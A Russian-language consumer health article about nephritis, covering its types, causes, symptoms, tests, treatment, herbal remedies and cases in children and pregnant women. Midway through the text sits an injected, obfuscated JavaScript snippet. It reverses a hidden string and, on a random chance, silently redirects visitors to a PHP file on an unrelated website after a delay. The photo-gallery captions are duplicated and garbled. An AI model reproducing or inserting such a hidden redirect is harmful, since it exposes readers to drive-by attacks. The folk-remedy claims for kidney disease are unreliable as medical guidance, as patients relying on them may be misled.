Почечные болезни, причиной которых является воспалительный процесс, имеют обобщённое название — нефриты. Все они несут опасность для здоровья и считаются тяжёлыми патологиями. Каждая имеет свою причину, механизм развития и клиническую картину в зависимости от того, какая часть почек поражена.
Содержание
Виды воспаления почек
Почка состоит из коркового вещества, мозгового слоя, образованного треугольными полостями (пирамидами), почечных чашечек и лоханки. Основной фильтрующей единицей является нефрон, состоящий из клубочков и канальцев. В них поступает кровь, насыщенная полезными веществами и продуктами обмена. В канальцах происходит отделение полезных веществ от токсинов.
Очищенная кровь возвращается в сосуды. Отфильтрованная вторичная моча через собирательные трубки пирамидок поступает в чашечки, а затем собирается в лоханке, откуда по мочеточнику отправляется в мочевой пузырь.
В зависимости от того, в какой части почек развивается воспаление, различают несколько заболеваний:
- Пиелонефрит. Это самый распространённый вид патологии. Он вызывается различными бактериями и часто имеет латентное (скрытое) течение. В этом заключается опасность заболевания. Человек может не обращать внимания на незначительные симптомы и недостаточно серьёзно относиться к лечению. Отсутствие своевременной полноценной терапии приводит к почечной недостаточности.
- Гломерулонефрит — аутоиммунное воспалительное поражение почечных клубочков. Он может быть самостоятельным заболеванием или развиваться в результате системных патологий — красной волчанки, инфекционного эндокардита и других. Чаще всего недуг обусловлен повышенной иммунной реакцией на антигены инфекционного происхождения.
$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/05/shema-razvitiya-vospaleniya-728×410.jpg» alt=»Схема развития воспаления при пиелонефрите и гломерулонефрите» width=»728″ height=»410″ /> Возбудителем инфекционного воспаления почек чаще всего бывает стрептококк
- Интерстициальный нефрит. В этом случае воспалительное поражение приводит к замене функциональной ткани клубочков соединительной, атрофии канальцев и хронической почечной недостаточности. На запущенной стадии начинается нефросклероз (сморщивание почки).
- Шунтовый нефрит. При таком виде патологии иммунными комплексами поражаются сосуды почек, что приводит к образованию тромбов и нарушению выделительной функции. По симптоматике и последствиям шунтовый нефрит аналогичен гломерулонефриту.
- Наследственный нефрит. Недуг обычно связан с другими почечными патологиями и развивается на фоне мутаций в генах некоторых белков. От него чаще страдают мужчины, а болезнь проявляется в детском возрасте.
Таблица: виды нефритов
| Заболевание | Место поражения |
| Пиелонефрит | воспаление чашечно-лоханочного аппарата |
| Гломерулонефрит | воспаление клубочков |
| Интерстициальный нефрит | воспаление канальцев и интерстиций (пространств между клубочками и канальцами) |
| Шунтовый нефрит | воспалительное поражение почечных кровеносных сосудов иммунными комплексами |
| Наследственный нефрит | врождённая патология, где воспаление обусловлено поражением гломерулярных базальных мембран (входят в капиллярную стенку почечного клубочка) |
Классификация по форме и характеру течения
Нефриты бывают очаговыми и диффузными. Очаговая форма затрагивает определённый участок почки. Диффузное воспаление охватывает всю систему клубочков и приводит к деструктивным изменениям почечной ткани (паренхимы). Воспалительный процесс может быть односторонним и двусторонним. По течению различают острый и хронический нефрит.
Острые нефриты
Острый нефрит характеризуется резким началом и ярко выраженной воспалительной симптоматикой. Чаще всего он носит первичный характер и развивается после сильного переохлаждения, когда падает местный иммунитет и нарушается кровообращение в почках. К острым формам относится апостематозный пиелонефрит. Это гнойно-воспалительное заболевание с тяжёлым течением, похожим на сепсис.
В почечной ткани образуются гнойнички, которые могут прорваться и спровоцировать тотальный гнойный процесс. Причиной апостематозного пиелонефрита являются абсцессы и другие очаги инфекции в организме. Нарушение оттока мочи с застоем в мочеточниках и чашечно-лоханочной области создаёт питательную среду для развития патогенных микроорганизмов.
Ещё один вид острой патологии — тубулоинтерстициальный нефрит. Воспалительный процесс редко имеет инфекционную природу, в большинстве случаев он провоцируется передозировкой или непереносимостью некоторых лекарств, токсическими веществами, облучением. Воспаление поражает интерстициальную ткань и вызывает некроз канальцев. Без своевременного лечения тубулоинтерстициальный нефрит быстро приводит к почечной недостаточности.
Острый нефрит может развиваться как осложнение стрептококковой инфекции, например, ангины или скарлатины. Обычно его признаки появляются через одну-две недели после попадания в организм возбудителя.
Хронический нефрит
Хронический нефрит не имеет выраженной клинической картины, протекает со сменой ремиссий и рецидивов. На начальном этапе симптомы могут отсутствовать, патология выявляется во время медицинского осмотра. Во время обследования обнаруживаются повторяющиеся эпизоды появления в моче белка и крови. По мере развития патологии к ним присоединяются признаки уремии (самоотравления организма) – тошнота, одышка, быстрая утомляемость. Часто хроническая форма является следствием острого нефрита.
Причины нефритов
Причиной развития первичного острого нефрита бывает кокковая инфекция, аутоиммунные заболевания и реакции (что встречается гораздо чаще). Инфекции, поражающие почки:
- бактериальные (стрептококковые, менингококковые, пневмококковые, гонококковые);
- вирусные (герпес, грипп, гепатит В, цитомегаловирус, эховирус);
- грибковые (микозы).
Заболевания, осложняющиеся нефритами — ветряная оспа, малярия, корь, тонзиллярная ангина. Очаг инфекции может находиться в аппендиксе, жёлчном пузыре, зубных гранулёмах.
Вторичные нефриты развиваются на фоне врождённых или приобретённых болезней или интоксикаций:
- сахарного диабета;
- аутоиммунных заболеваний — периартериита, коллагеноза, красной волчанки, васкулита;
- хронических заболеваний мочевыводящих путей;
- опухолевых процессов;
- алкогольного и наркотического отравления;
- отравления химическими веществами;
- радиационного облучения.
Общие факторы риска для всех видов нефрита:
- переохлаждение;
- сниженный иммунитет;
- плохая экология;
- повышенное артериальное давление;
- неправильное питание;
- неконтролируемый приём медикаментов.
Основная причина развития острого интерстициального нефрита — лекарственные препараты. Причём патологическая реакция почек может проявиться не сразу, а после повторного приёма средства. Нефрит провоцируют:
- некоторые антибиотики (пенициллиновой группы, аминогликозиды, цефалоспорины);
- нестероидные противовоспалительные препараты (Индометацин и другие);
- анальгетики, в частности, Парацетамол;
- сульфаниламиды;
- противотуберкулёзные средства;
- мочегонные препараты;
- лекарства от давления (Каптоприл).
Этот список может быть продолжен, так как основную роль играют даже не сами медикаменты или их доза, а индивидуальная реакция на них каждого человека. Риск возникновения лекарственного нефрита увеличивают сердечная недостаточность, болезни печени, пожилой возраст.
В 15–20% случаев причину нефрита установить не удаётся. В этом случае говорят об идиопатической форме заболевания.
Видео: причины воспаление почек
https://www.youtube.com/embed/bxtohhhrt40
Симптомы и признаки
Общие для всех нефритов симптомы:
- слабость и повышенная утомляемость;
- боли в области почек;
- нарушение мочеиспускания;
- одышка;
- головная боль;
- тошнота.
Объективно у больного появляются отёки на лице, повышается артериальное давление, наблюдается уменьшение отделяемого объёма мочи. В ней обнаруживаются эритроциты, цилиндры, белок, изменяется её цвет и запах. В запущенных случаях нарушается сердечная деятельность.
Для острого пиелонефрита, кроме указанных симптомов, характерны:
- подъём температуры;
- жажда и сухость во рту;
- болезненное мочеиспускание;
- вздутие живота.
Начиная с век, отёк распространяется по всему лицу, переходит на ноги, а затем на всё тело. При адекватной терапии наступает полное излечение, хотя небольшая отёчность и повышенное давление могут оставаться ещё в течение полугода после выздоровления.
Если срочно не начать лечение, нефрит переходит в хроническую форму. Она отличается длительным течением с частыми обострениями. Даже во время ремиссии человека беспокоят общая слабость, быстрая утомляемость, субфебрильная температура (до 37,5 °C), снижение аппетита. С течением времени почечные клубочки постепенно гибнут, и развивается почечная недостаточность.
При длительном течении воспаления почек организм теряет некоторые микроэлементы, что приводит к появлению судорог, чувства покалывания в коже и онемению конечностей.
Симптоматика при вторичном гломерулонефрите:
- кожа становится бледной;
- нарастают сильные отёки;
- значительное повышение артериального давления вызывает сильные головные боли, судороги, рвоту и даже потерю сознания;
- уменьшается суточный объём мочи вплоть до анурии (прекращения поступления мочи в мочевой пузырь);
- в моче обнаруживается белок.
Острый интерстициальный нефрит начинается внезапно и сопровождается общей слабостью и недомоганием, тупыми болями в области почек, увеличением отделяемого объёма мочи. Иногда у больного появляется лихорадка, аллергическая сыпь на теле, кратковременный подъём артериального давления. Отёки развиваются редко из-за большого количества выделяемой жидкости. При хронической форме заболевания эти симптомы нарастают постепенно.
Диагностика
Единой методики лечения нефритов не существует, поэтому диагностика направлена, прежде всего, на определение вида и формы заболевания. Методы обследования:
- Осмотр пациента и сбор анамнеза — определяется наличие отягощённой наследственности и аутоиммунных заболеваний, эпизодов переохлаждения и стрептококковой инфекции в недавнем прошлом, проводится анализ жалоб больного.
- Анализы крови — общеклинический и биохимический.
- Общий анализ мочи, бактериальный посев, пробы по Нечипоренко.
- Функциональные пробы мочи для оценки клубочковой фильтрации.
Для уточнения диагноза используют инструментальные методы исследования — сцинтиграфию, УЗИ или рентгенографию почек. УЗИ покажет состояние чашечек, лоханок и почечных каналов. Рентгенологическое исследование исключит почечнокаменную болезнь. Сцинтиграфия установит функциональную активность почек. Самым информативным способом является биопсия почек — специальной иглой забирается и исследуется кусочек почечной ткани.
Анализы мочи
Моча для анализа собирается утром сразу после сна и тщательного туалета половых органов. Чтобы результаты были достоверными, накануне нельзя есть яркие овощи и фрукты (это влияет на цвет урины) и принимать мочегонные средства. Выводы, которые можно сделать по результатам анализа мочи по Нечипоренко:
- большое количество лейкоцитов и цилиндров говорит о наличии в почках инфекции, вероятный диагноз — пиелонефрит;
- повышение уровня эритроцитов наблюдается при остром или хроническом гломерулонефрите, в этом случае цвет мочи будет розовым;
- появление в моче белка свидетельствует об общем нарушении работы органа, такое бывает при пиелонефрите и гломерулонефрите.
В общем анализе мочи о воспалении почек скажут запах, кислотность, наличие лейкоцитов, эритроцитов, белка и эпителия. Возможно присутствие бактерий, грибков и паразитов. При их выявлении дополнительно назначается бактериальный посев на определение вида возбудителя. В дальнейшем по результату анализа будет подбираться эффективный антибиотик.
Для уточнения локализации воспалительного процесса назначается двухстаканная проба, которая заключается в проведении общего анализа двух порций мочи, которые получены последовательно при однократном мочеиспускании. Повышенное содержание лейкоцитов или эритроцитов только в первой порции урины говорит о наличии патологического процесса в мочеиспускательном канале. Если подобные нарушения обнаружены во второй порции мочи, то это может свидетельствовать о поражении мочевого пузыря. При патологиях почек результат анализов обеих проб будет примерно одинаковым.
Анализы крови
Забор крови для анализа проводится утром на голодный желудок. Накануне нельзя употреблять алкоголь и заниматься тяжёлой физической работой.
О чём говорят результаты:
- Биохимическое исследование определяет наличие нефрита по повышенному уровню креатинина и мочевины. Повышение С-реактивного белка и специфические маркеры воспаления косвенно указывают на патологический процесс в почках.
- Общий анализ крови при воспалении в почках показывает увеличение количества лейкоцитов и нейтрофилов, повышение СОЭ (скорости оседания эритроцитов).
- Иммунологическое исследование подтверждает наличие гломерулонефрита уровнем содержания антител IgG и IgM и антител к b-гемолитическому стрептококку А.
В целом диагностика нефритов не вызывает затруднений благодаря выраженной клинической картине.
Лечение
Выбор терапевтической тактики определяется видом и течением заболевания. Острый нефрит лечится комплексно, терапия включает:
- антибиотики или противовирусные препараты (в зависимости от вида инфекции);
- витамины;
- обезболивающие препараты;
- средства для поднятия иммунитета;
- мочегонные;
- диетическое питание.
При острых нефритах используется внутривенное капельное вливание глюкозы, витамина С и гипотензивных растворов. Первые 5–7 дней антибиотики вводятся инъекциями, затем пациент переводится на таблетки, их приём продолжается ещё две недели.
Диетическое питание в острый период предполагает полное исключение соли, снижение количества потребляемого белка и ограничение свободной жидкости. При этом увеличивается калорийность рациона.
Хронические нефриты лечатся противовирусными и противовоспалительными препаратами, средствами, нормализующими кровообращение. Иммуномодуляторы применяют после устранения острых симптомов. Лекарства назначаются индивидуально, исходя из вида патологии, общего состояния пациента и наличия сопутствующих заболеваний.
При вторичных нефритах основные усилия направляются на лечение или компенсацию основного заболевания, послужившего причиной воспаления почек.
Экстракорпоральные и хирургические методы
Если больной находится в тяжёлом состоянии, а консервативное лечение не даёт желаемого результата, прибегают к экстракорпоральным методам очистки крови — плазмаферезу и гемосорбции. Гемодиализ и удаление почки производятся только при состоянии крайней тяжести.
Плазмаферез заключается в отделении форменных элементов крови от плазмы. Сегодня применяют аппаратный метод забора и чистки крови — он легче переносится пациентами. Кровь забирается, подаётся на сепаратор и возвращается пациенту непрерывно небольшими порциями. В сепараторе, проходя через специальные мембраны, плазма очищается от токсинов, частиц распавшихся клеток, аллергенов и липопротеидов. Гемосорбция — это очистка крови с помощью сорбентов.
Лечебная гимнастика
Физические упражнения показаны при хроническом нефрите после стихания острого процесса. Лечебная гимнастика обеспечивает:
- устранение застойных явлений и улучшение оттока мочи;
- улучшение обмена веществ;
- повышение сопротивляемости организма;
- нормализацию кровообращения в почках;
- стабилизацию артериального давления.
Практикуются упражнения с небольшой физической нагрузкой в положении стоя, лёжа и сидя. Исключается нагрузка на мышцы брюшного пресса, поднятие тяжестей. Во время занятий движения должны быть плавными, а темп выполнения — средним.
Противопоказания к физкультуре — тяжёлое состояние и боли во время выполнения упражнений.
Показаны велосипедные, лыжные и пешие прогулки, но они должны быть строго дозированы.
Лечение народными средствами
Народные средства неэффективны при лечении острых нефритов. В период ремиссии при хроническом процессе они помогают поддерживать почки. Поэтому врачи рекомендуют длительный приём фитопрепаратов. Они снимают отёчность, насыщают организм витаминами, оказывают мочегонное и противовоспалительное действие, повышают иммунитет.
Нельзя самостоятельно начинать терапию народными средствами. Травы, схему и длительность приёма должен рекомендовать лечащий врач.
Можно пользоваться аптечными почечными сборами или готовить их самостоятельно.
Фотогалерея: аптечные почечные чаи
-
- и
-
- При хроническом и остром гломерулонефрите в моче обнаруживается большое количество эритроцитов
-
- Высокое давление и сильные отёки — основные признаки гломерулонефрита
-
- и
-
- Вредные привычки и нарушения обмена веществ повышают риск развития почечных патологий
-
- Течение апостематозного нефрита похоже не сепсис
-
- Возбудителем инфекционного воспаления почек чаще всего бывает стрептококк
-
- сс
-
- Ортосифон тычиночный оказывает мочегонное действие
-
- Почечный сбор № 19 нормализует мочеиспускание и снимает воспаление
-
- Почечный сбор обладает противовоспалительным и гипотензивным действием
-
- с
-
- В тяжёлых случаях проводится экстракорпоральная очистка крови
-
- с
-
- При появлении первых признаков воспаления почек ребёнку необходимо провести полное обследование
-
- с
-
- с
-
- Почки — главный и наиболее важный парный орган мочевой системы человека
-
- Отёки при заболеваниях почек сначала появляются на лице
-
- В крови больного нефритом присутствует большое количество лейкоцитов
-
- При острой форме нефрита прописывается строгий постельный режим
-
- Употребление арбуза является хорошим средством для очищения почек
-
- Василёк избавит от отёков
-
- Белый виноград оказывает мягкое мочегонное и гипотензивное действие
-
- Развитие приступа почечной эклампсии при остром нефрите объясняют повышением внутричерепного давления
-
- Во время беременности тонус почек, мочевого пузыря, мочеточников снижен, что способствует лёгкому проникновению инфекции в мочевыводящие пути
Рецепты для почек
Эффективные средства:
- Травяной отвар. Витаминный сбор из семян льна, крапивы, листьев берёзы и земляники в равных количествах измельчается и заваривается (1 стакан кипятка на 1 стакан сырья). Отвар томится на водяной бане в течение 15 минут. Принимается по стакану в день за 30 минут до еды.
- Многокомпонентный отвар из растений, ягод и трав. Сбор включает травы лаванды и бурды, шишки хмеля, лепестки розы, ягоды можжевельника, листья смородины и берёзы (по 10 г). К ним добавляются листья брусники, толокнянки, подорожника, крапивы, буквицы (по 20 г), 40 г плодов шиповника и по 60 г хвоща и ягод земляники. Для разовой порции используют 5–6 г сухой смеси, заваренной 1,5–2 стаканами воды. Отвар томится на водяной бане 10 минут и настаивается ещё 2 часа. Полученное количество жидкости выпивается в течение дня в несколько приёмов.
- Белый виноград. Знахари его использовали для лечения нефритов с незапамятных времён. Он содержит сбалансированный комплекс витаминов и минералов, богат сахарами и органическими кислотами. Виноград оказывает мягкое мочегонное и гипотензивное действие. Виноградный сок рекомендуется пить три раза в день перед едой. Курс продолжается 1–1,5 месяца. Приём сока начинается с разовой порции ½ стакана и к концу лечения доводится до 2 стаканов.
- Настой цветков синего василька. Средство поможет снять отёки. Кроме того, растение оказывает противомикробное действие. Одну чайную ложку цветков заваривают стаканом кипятка и настаивают в течение часа. Принимать надо по 2 столовых ложки до еды.
Постоянно в период ремиссии врачи рекомендуют:
- пить брусничный морс и отвары из листьев брусники (2 столовые ложки на стакан воды);
- как можно чаще включать в меню арбуз и чернослив;
- каждый день пить по 2 стакана отвара шиповника, можно с добавлением мёда.
Фотогалерея: народные средства
-
- и
-
- При хроническом и остром гломерулонефрите в моче обнаруживается большое количество эритроцитов
-
- Высокое давление и сильные отёки — основные признаки гломерулонефрита
-
- и
-
- Вредные привычки и нарушения обмена веществ повышают риск развития почечных патологий
-
- Течение апостематозного нефрита похоже не сепсис
-
- Возбудителем инфекционного воспаления почек чаще всего бывает стрептококк
-
- сс
-
- Ортосифон тычиночный оказывает мочегонное действие
-
- Почечный сбор № 19 нормализует мочеиспускание и снимает воспаление
-
- Почечный сбор обладает противовоспалительным и гипотензивным действием
-
- с
-
- В тяжёлых случаях проводится экстракорпоральная очистка крови
-
- с
-
- При появлении первых признаков воспаления почек ребёнку необходимо провести полное обследование
-
- с
-
- с
-
- Почки — главный и наиболее важный парный орган мочевой системы человека
-
- Отёки при заболеваниях почек сначала появляются на лице
-
- В крови больного нефритом присутствует большое количество лейкоцитов
-
- При острой форме нефрита прописывается строгий постельный режим
-
- Употребление арбуза является хорошим средством для очищения почек
-
- Василёк избавит от отёков
-
- Белый виноград оказывает мягкое мочегонное и гипотензивное действие
-
- Развитие приступа почечной эклампсии при остром нефрите объясняют повышением внутричерепного давления
-
- Во время беременности тонус почек, мочевого пузыря, мочеточников снижен, что способствует лёгкому проникновению инфекции в мочевыводящие пути
Видео: как лечить почки в домашних условиях
Прогноз и возможные осложнения
Прогноз при своевременном лечении острого нефрита благоприятный — наступает полное выздоровление. Летальный исход бывает редко (около 5% случаев) и вызывается мозговыми кровоизлияниями или сердечной недостаточностью. В 10–30% случаев острый нефрит переходит в хронический. При хронической форме развивается стойкая артериальная гипертензия, и впоследствии — почечная недостаточность. При выполнении рекомендаций лечащего врача, проведении регулярных курсов терапии и соблюдении правильного режима питания можно долгие годы сохранять нормальное качество жизни.
К возможным осложнениям относятся:
- азотемия (повышение в крови уровня азотистых соединений);
- анурия;
- кровоизлияние в головной мозг;
- уремия;
- острый психоз.
Возможно развитие застойных явлений в лёгких вплоть до отёка. Несоблюдение постельного режима способно вызвать припадок эклампсии (резкого повышения давления, сопровождающегося судорогами). Приступу предшествует тошнота, спазм сосудов. Осложнение встречается в 5–20% случаев острого нефрита. Исход у таких приступов обычно благополучный.
Нефрит у детей
Главной причиной возникновения воспаления почек у детей является наследственность. У грудничков острый нефрит может быть результатом влияния неблагоприятных факторов на развитие мочевыводящей системы во внутриутробном периоде. Воспаление почек у детей носит неспецифический характер и вызывается циркулирующими иммунными комплексами. Оно поражает клубочковую часть нефрона (гломерулонефрит). Воспаление почек чаще всего развивается у детей в возрасте до 7 лет.
Обычно нефрит является осложнением ангины или скарлатины. У ребёнка появляются отёки, поднимается артериальное давление, резко падает активность. Утренняя моча является одним из показателей нарушения работы почек. Если у ребёнка она становится тёмной или пенится, надо сделать общий анализ мочи. Это поможет выявить нефрит на ранней стадии.
Специфические симптомы:
- жажда и сухость во рту;
- повышение температуры;
- потеря аппетита;
- жалобы на боли в спине;
- аллергическая сыпь, вызывающая зуд.
Ещё один тревожный признак — ночная потливость. Основа терапии — постельный режим, ребёнок должен находиться в стационаре. Разницы в лечении острого нефрита у детей и взрослых нет.
При остром поражении почечных клубочков не рекомендуется использование народных средств, так как в этот период они могут спровоцировать у ребёнка почечную и сердечную недостаточность.
Воспаление почек во время беременности
Нефрит нередко возникает во время беременности. Его провоцирует пониженный тонус мочевого пузыря и почек, что способствует проникновению инфекции. Отхождению мочи препятствует давление на мочевой пузырь. Её застой создаёт благоприятные условия для размножения патогенной микрофлоры. К тому же в период вынашивания ребёнка у женщины ослабляется иммунитет.
Меньшую опасность для женщины представляет острый нефрит. При своевременном лечении наступает полное выздоровление. Хуже, если обостряется хронический нефрит. Он может быстро привести к почечной недостаточности. Основные симптомы:
- мутная моча с хлопьями;
- частое и болезненное мочеиспускание;
- боли в пояснице и в мышцах;
- постоянная тошнота;
- потеря аппетита.
Почечная недостаточность и повышенное давление во время беременности оставляют женщине немного шансов выносить ребёнка. Лечение возможно, но с тщательным подбором медикаментов, чтобы не навредить будущему малышу.
Успех лечения воспаления почек во многом зависит от своевременного обращения к врачу и диагностики заболевания. Предотвратить тяжёлую патологию помогут ликвидация очагов инфекции, здоровое питание, закаливание и поддержание иммунитета.
